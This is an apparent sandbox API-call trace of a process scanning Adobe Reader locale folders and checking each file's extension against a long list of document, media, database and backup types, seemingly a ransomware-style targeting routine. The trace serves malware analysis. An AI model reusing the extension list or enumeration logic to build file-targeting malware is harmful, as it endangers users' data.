FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.387] FindClose (in: hFindFile=0x3315930 | out: hFindFile=0x3315930) returned 1 [0265.387] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.387] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0265.388] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106 [0265.388] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 1 [0265.388] lstrlenW (lpString="fi-fi") returned 5 [0265.388] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="fi-fi") returned -1 [0265.388] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.388] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi") returned 106 [0265.388] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0265.390] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.390] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.390] lstrlenW (lpString="ui-strings.js") returned 13 [0265.390] lstrlenW (lpString=".1cd") returned 4 [0265.390] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.390] lstrlenW (lpString=".3ds") returned 4 [0265.390] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.390] lstrlenW (lpString=".3fr") returned 4 [0265.390] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.390] lstrlenW (lpString=".3g2") returned 4 [0265.390] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.391] lstrlenW (lpString=".3gp") returned 4 [0265.391] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.391] lstrlenW (lpString=".7z") returned 3 [0265.391] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.391] lstrlenW (lpString=".accda") returned 6 [0265.391] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.391] lstrlenW (lpString=".accdb") returned 6 [0265.391] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.391] lstrlenW (lpString=".accdc") returned 6 [0265.391] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.391] lstrlenW (lpString=".accde") returned 6 [0265.391] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.391] lstrlenW (lpString=".accdt") returned 6 [0265.391] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.391] lstrlenW (lpString=".accdw") returned 6 [0265.391] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.392] lstrlenW (lpString=".adb") returned 4 [0265.392] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".adp") returned 4 [0265.392] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai") returned 3 [0265.392] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.392] lstrlenW (lpString=".ai3") returned 4 [0265.392] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai4") returned 4 [0265.392] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai5") returned 4 [0265.392] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai6") returned 4 [0265.392] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai7") returned 4 [0265.392] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".ai8") returned 4 [0265.392] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.392] lstrlenW (lpString=".anim") returned 5 [0265.393] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.393] lstrlenW (lpString=".arw") returned 4 [0265.393] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.393] lstrlenW (lpString=".as") returned 3 [0265.393] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.393] lstrlenW (lpString=".asa") returned 4 [0265.393] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.393] lstrlenW (lpString=".asc") returned 4 [0265.393] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.393] lstrlenW (lpString=".ascx") returned 5 [0265.393] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.393] lstrlenW (lpString=".asm") returned 4 [0265.393] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.393] lstrlenW (lpString=".asmx") returned 5 [0265.393] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.393] lstrlenW (lpString=".asp") returned 4 [0265.393] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.393] lstrlenW (lpString=".aspx") returned 5 [0265.393] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.393] lstrlenW (lpString=".asr") returned 4 [0265.394] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".asx") returned 4 [0265.394] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".avi") returned 4 [0265.394] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".avs") returned 4 [0265.394] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".backup") returned 7 [0265.394] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.394] lstrlenW (lpString=".bak") returned 4 [0265.394] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".bay") returned 4 [0265.394] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".bd") returned 3 [0265.394] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.394] lstrlenW (lpString=".bin") returned 4 [0265.394] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.394] lstrlenW (lpString=".bmp") returned 4 [0265.394] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".bz2") returned 4 [0265.395] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".c") returned 2 [0265.395] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.395] lstrlenW (lpString=".cdr") returned 4 [0265.395] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".cer") returned 4 [0265.395] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".cf") returned 3 [0265.395] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.395] lstrlenW (lpString=".cfc") returned 4 [0265.395] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".cfm") returned 4 [0265.395] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".cfml") returned 5 [0265.395] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.395] lstrlenW (lpString=".cfu") returned 4 [0265.395] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".chm") returned 4 [0265.395] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.395] lstrlenW (lpString=".cin") returned 4 [0265.396] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".class") returned 6 [0265.396] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.396] lstrlenW (lpString=".clx") returned 4 [0265.396] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".config") returned 7 [0265.396] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.396] lstrlenW (lpString=".cpp") returned 4 [0265.396] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".cr2") returned 4 [0265.396] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".crt") returned 4 [0265.396] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".crw") returned 4 [0265.396] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".cs") returned 3 [0265.396] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.396] lstrlenW (lpString=".css") returned 4 [0265.396] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.396] lstrlenW (lpString=".csv") returned 4 [0265.396] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".cub") returned 4 [0265.397] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dae") returned 4 [0265.397] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dat") returned 4 [0265.397] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".db") returned 3 [0265.397] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.397] lstrlenW (lpString=".dbf") returned 4 [0265.397] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dbx") returned 4 [0265.397] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dc3") returned 4 [0265.397] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dcm") returned 4 [0265.397] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".dcr") returned 4 [0265.397] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.397] lstrlenW (lpString=".der") returned 4 [0265.397] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".dib") returned 4 [0265.398] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".dic") returned 4 [0265.398] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".dif") returned 4 [0265.398] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".divx") returned 5 [0265.398] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.398] lstrlenW (lpString=".djvu") returned 5 [0265.398] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.398] lstrlenW (lpString=".dng") returned 4 [0265.398] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".doc") returned 4 [0265.398] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.398] lstrlenW (lpString=".docm") returned 5 [0265.398] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.398] lstrlenW (lpString=".docx") returned 5 [0265.398] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.398] lstrlenW (lpString=".dot") returned 4 [0265.399] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0265.399] lstrlenW (lpString=".dotm") returned 5 [0265.399] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0265.399] lstrlenW (lpString=".dotx") returned 5 [0265.399] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0265.399] lstrlenW (lpString=".dpx") returned 4 [0265.399] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0265.399] lstrlenW (lpString=".dqy") returned 4 [0265.399] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".dsn") returned 4 [0265.400] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".dt") returned 3 [0265.400] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0265.400] lstrlenW (lpString=".dtd") returned 4 [0265.400] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".dwg") returned 4 [0265.400] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".dwt") returned 4 [0265.400] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".dx") returned 3 [0265.400] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0265.400] lstrlenW (lpString=".dxf") returned 4 [0265.400] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0265.400] lstrlenW (lpString=".edml") returned 5 [0265.400] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0265.400] lstrlenW (lpString=".efd") returned 4 [0265.400] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".elf") returned 4 [0265.401] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".emf") returned 4 [0265.401] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".emz") returned 4 [0265.401] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".epf") returned 4 [0265.401] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".eps") returned 4 [0265.401] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".epsf") returned 5 [0265.401] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0265.401] lstrlenW (lpString=".epsp") returned 5 [0265.401] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0265.401] lstrlenW (lpString=".erf") returned 4 [0265.401] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0265.401] lstrlenW (lpString=".exr") returned 4 [0265.401] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0265.402] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0265.402] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0265.402] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.402] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0265.402] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.402] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr") returned 106 [0265.403] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0265.404] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.404] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.404] lstrlenW (lpString="ui-strings.js") returned 13 [0265.404] lstrlenW (lpString=".1cd") returned 4 [0265.404] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.404] lstrlenW (lpString=".3ds") returned 4 [0265.404] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.405] lstrlenW (lpString=".3fr") returned 4 [0265.405] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.405] lstrlenW (lpString=".3g2") returned 4 [0265.405] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.405] lstrlenW (lpString=".3gp") returned 4 [0265.405] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.405] lstrlenW (lpString=".7z") returned 3 [0265.405] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.405] lstrlenW (lpString=".accda") returned 6 [0265.405] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.405] lstrlenW (lpString=".accdb") returned 6 [0265.405] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.405] lstrlenW (lpString=".accdc") returned 6 [0265.405] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.405] lstrlenW (lpString=".accde") returned 6 [0265.405] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.405] lstrlenW (lpString=".accdt") returned 6 [0265.405] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.405] lstrlenW (lpString=".accdw") returned 6 [0265.406] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.406] lstrlenW (lpString=".adb") returned 4 [0265.406] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".adp") returned 4 [0265.406] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai") returned 3 [0265.406] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.406] lstrlenW (lpString=".ai3") returned 4 [0265.406] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai4") returned 4 [0265.406] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai5") returned 4 [0265.406] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai6") returned 4 [0265.406] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai7") returned 4 [0265.406] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".ai8") returned 4 [0265.406] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.406] lstrlenW (lpString=".anim") returned 5 [0265.406] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.407] lstrlenW (lpString=".arw") returned 4 [0265.407] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.407] lstrlenW (lpString=".as") returned 3 [0265.407] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.407] lstrlenW (lpString=".asa") returned 4 [0265.407] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.407] lstrlenW (lpString=".asc") returned 4 [0265.407] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.736] lstrlenW (lpString=".ascx") returned 5 [0265.736] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.736] lstrlenW (lpString=".asm") returned 4 [0265.736] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.736] lstrlenW (lpString=".asmx") returned 5 [0265.736] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.737] lstrlenW (lpString=".asp") returned 4 [0265.737] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".aspx") returned 5 [0265.737] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.737] lstrlenW (lpString=".asr") returned 4 [0265.737] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".asx") returned 4 [0265.737] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".avi") returned 4 [0265.737] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".avs") returned 4 [0265.737] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".backup") returned 7 [0265.737] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.737] lstrlenW (lpString=".bak") returned 4 [0265.737] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".bay") returned 4 [0265.737] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".bd") returned 3 [0265.737] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.737] lstrlenW (lpString=".bin") returned 4 [0265.737] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.737] lstrlenW (lpString=".bmp") returned 4 [0265.738] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".bz2") returned 4 [0265.738] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".c") returned 2 [0265.738] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.738] lstrlenW (lpString=".cdr") returned 4 [0265.738] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".cer") returned 4 [0265.738] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".cf") returned 3 [0265.738] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.738] lstrlenW (lpString=".cfc") returned 4 [0265.738] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".cfm") returned 4 [0265.738] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".cfml") returned 5 [0265.738] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.738] lstrlenW (lpString=".cfu") returned 4 [0265.738] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.738] lstrlenW (lpString=".chm") returned 4 [0265.738] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".cin") returned 4 [0265.739] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".class") returned 6 [0265.739] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.739] lstrlenW (lpString=".clx") returned 4 [0265.739] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".config") returned 7 [0265.739] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.739] lstrlenW (lpString=".cpp") returned 4 [0265.739] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".cr2") returned 4 [0265.739] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".crt") returned 4 [0265.739] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".crw") returned 4 [0265.739] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.739] lstrlenW (lpString=".cs") returned 3 [0265.739] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.739] lstrlenW (lpString=".css") returned 4 [0265.740] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".csv") returned 4 [0265.740] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.740] lstrlenW (lpString=".cub") returned 4 [0265.740] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 